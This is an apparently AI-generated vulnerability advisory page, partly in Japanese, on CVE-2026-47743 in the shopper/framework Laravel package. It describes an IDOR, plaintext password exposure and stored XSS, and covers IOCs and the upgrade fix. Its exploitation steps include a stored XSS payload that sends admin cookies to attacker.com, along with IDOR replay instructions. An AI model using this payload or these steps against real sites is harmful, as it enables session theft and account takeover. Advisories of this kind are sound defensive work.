CVE-2026-47743
PHP 脆弱性の分析と軽減

概要

CVE-2026-47743 is a cluster of three related security defects in the admin Livewire components of the shopper/framework (Shopper e-commerce framework for Laravel), affecting all versions prior to 2.8.0. The vulnerabilities encompass an Insecure Direct Object Reference (IDOR) via unlocked Livewire properties, sensitive plaintext password disclosure through a hidden form field, and stored Cross-Site Scripting (XSS) via the product barcode field. The advisory was first published on May 20, 2026, and added to the GitHub Advisory Database on June 5, 2026. The CVSS v3.1 base score is 8.7 (High) (GitHub Advisory, Shopper Advisory).

技術的な詳細

The vulnerability set encompasses three CWEs: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), and CWE-79 (Stored XSS). For the IDOR issue, multiple Livewire admin components exposed Eloquent model identifiers as public properties without the #[Locked] attribute, allowing an authenticated attacker to manipulate the wire: payload in the browser to reference arbitrary record IDs across models including Order, Discount, Role, Inventory, Product, and others. For the credential disclosure issue, Customers/Create::store() re-passed a Hidden _password form field directly into the create payload, causing the plaintext password to be rendered in the page DOM and captured in any Livewire snapshot logging. For the stored XSS issue, the product barcode field was rendered via DNS1DFacade::getBarcodeHTML() using Laravel's unescaped {!! !!} syntax, allowing an attacker with edit_products permission to persist a malicious script payload that executes in the browser of any admin viewing the product (GitHub Advisory, PR #511).

影響

Successful exploitation of these vulnerabilities can result in high confidentiality and integrity impact across the admin panel. The IDOR flaw allows authenticated low-privilege users to read or mutate records belonging to other users or system entities (orders, products, customers, roles) without authorization. The password disclosure issue exposes plaintext credentials in the HTML DOM and server-side logs, risking account takeover for any customer created via the affected form. The stored XSS vulnerability enables session theft and privileged-action chaining against any admin user who views an affected product, potentially leading to full administrative compromise (GitHub Advisory, Shopper Advisory).

エクスプロイテーションのステップ

  1. Reconnaissance: Identify a target running shopper/framework version < 2.8.0 by inspecting HTTP response headers, Composer lock files, or admin panel UI elements.
  2. Obtain low-privilege admin access: Authenticate to the Shopper admin panel with any account that has at least basic admin access (e.g., edit_products permission for XSS, or any authenticated session for IDOR).
  3. IDOR exploitation: Intercept a Livewire request (e.g., using browser DevTools or a proxy like Burp Suite) and modify the id or model identifier in the wire: snapshot payload to reference a different record ID (e.g., another customer's order or user record), then replay the request to read or mutate the targeted record.
  4. Stored XSS exploitation: Navigate to the product edit form, enter a malicious JavaScript payload (e.g., <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>) in the barcode field, and save the product. Any admin user who subsequently views that product's detail page will have the script execute in their browser context.
  5. Session theft / privilege escalation: Use the stolen admin session cookie obtained via XSS to authenticate as a higher-privileged admin, enabling full administrative control of the Shopper instance (GitHub Advisory, PR #511).

妥協の兆候

  • Network: Outbound HTTP requests from admin browsers to unexpected external domains (potential XSS exfiltration of session cookies); unusual Livewire POST requests to /livewire/update or similar endpoints with modified model ID values in the payload body.
  • Logs: Web server or application logs showing Livewire snapshot payloads containing _password fields in plaintext; repeated Livewire requests targeting sequential or out-of-scope record IDs from a single authenticated session.
  • File System / Database: Unexpected or malformed barcode values in the products table containing HTML tags or JavaScript event handlers (e.g., <script>, onerror=, onload=).
  • Application Behavior: Admin users reporting unexpected logouts or session invalidation (indicative of session hijacking via XSS); customer records created with passwords visible in application logs or HTTP access logs.

軽減策と回避策

The vendor has released a fix in shopper/framework v2.8.0, which applies the #[Locked] attribute to all vulnerable Livewire model properties, removes the plaintext password round-trip from Customers/Create::store() (hashing at the action boundary instead), and escapes barcode output before passing it to the barcode generator. No workarounds are available; upgrading is the only remediation. Upgrade by running: composer require shopper/admin:^2.8 (GitHub Advisory, Shopper Advisory).

関連情報


ソースこのレポートは AI を使用して生成されました

関連 PHP 脆弱 性:

CVE 識別子

重大度

スコア

テクノロジー

コンポーネント名

CISA KEV エクスプロイト

修正あり

公開日

CVE-2026-47743HIGH8.7
  • PHP logoPHP
  • shopper/framework
いいえはいJul 23, 2026
CVE-2026-59931HIGH7.7
  • PHP logoPHP
  • phpoffice/phpspreadsheet
いいえはいJul 23, 2026
CVE-2026-59933HIGH7.5
  • PHP logoPHP
  • phpoffice/phpspreadsheet
いいえはいJul 23, 2026
CVE-2026-59932HIGH7.5
  • PHP logoPHP
  • phpoffice/phpspreadsheet
いいえはいJul 23, 2026
CVE-2026-59943MEDIUM6.3
  • PHP logoPHP
  • dompdf/dompdf
いいえはいJul 22, 2026

無料の脆弱性評価

クラウドセキュリティポスチャーのベンチマーク

9つのセキュリティドメインにわたるクラウドセキュリティプラクティスを評価して、リスクレベルをベンチマークし、防御のギャップを特定します。

評価を依頼する

パーソナライズされたデモを見る

実際に Wiz を見てみませんか?​

"私が今まで見た中で最高のユーザーエクスペリエンスは、クラウドワークロードを完全に可視化します。"
デビッド・エストリックCISO (最高情報責任者)
"Wiz を使えば、クラウド環境で何が起こっているかを 1 つの画面で確認することができます"
アダム・フレッチャーチーフ・セキュリティ・オフィサー
"Wizが何かを重要視した場合、それは実際に重要であることを私たちは知っています。"
グレッグ・ポニャトフスキ脅威および脆弱性管理責任者